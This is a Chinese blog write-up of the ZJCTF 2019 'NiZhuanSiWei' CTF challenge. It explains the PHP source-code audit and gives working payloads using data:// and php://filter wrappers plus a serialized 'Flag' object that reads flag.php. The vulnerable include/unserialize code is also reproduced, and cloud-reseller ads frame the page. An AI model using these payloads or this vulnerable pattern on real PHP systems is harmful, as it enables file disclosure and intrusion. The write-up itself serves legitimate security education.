[ZJCTF 2019]NiZhuanSiWei1-CSDN博客

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

提示

  1. php伪协议的使用
  2. 了解反序列化中的魔法函数

这里先来对首页的php代码审计

  1. 首先是三个可传入的参数
  2. 判断是否传入了text参数,  并打开此参数传入的文件要绝对等于welcome to the zjctf       (这里可以用php伪协议中的data://text/plain)
  3. 判断file中是否有flag,  没有才会到下一步
  4. 包含了useless.php
  5. 对password进行序列化解码然后输出

这里应该着重去看包含的文件uselect.php,  

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

useless.php的代码怎么找

  1. 直接通过网站提示的github源码去看

  2. 通过php伪协议找

1. 直接通过网站提示的github源码去看

这里有提示源代码,  这里取下载看看(打开github有时候需要挂vpn)

2. 通过php伪协议找

这里也可以通过php伪协议读取

payload:  ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

这里查看源代码将所有base64编码解码就行

uselect.php

  1. 这里可以看到这里又给了个file变量,  所以前面的get传参file就是个幌子,  可以不填
  2. __tostring是魔法函数,  在当对象被当成字符串引用时会调用

到这里我们的思路就完整了

首先通过text传入data数据,  然后传入file=useless.php将useless.php包含进来,  通过password传入反序列化,  因为存在echo $password这里就会调用__tostring函数,  然后再通过__tostring中的file_get_contents来打开flag.php这题就算完成啦

第一步

payload:  text=data://text/plain,welcome to the zjctf

第二步

payload:  text=data://text/plain,welcome to the zjctf&file=useless.php  (包含uselect.php)

因为这里我们需要使用这个页面里的file函数来打开flag.php,  所以给file赋值

$this->file大概意思就是这个类里的file变量  (可以这样理解1->2的意思就是,  1号队伍里的2,  this的意思就是表示这个类的意思)

payload:  

text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

此时查看源代码就能找到flag

切记不要直接复制payload做,  一步一步自己来才有用,  不然浪费时间

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6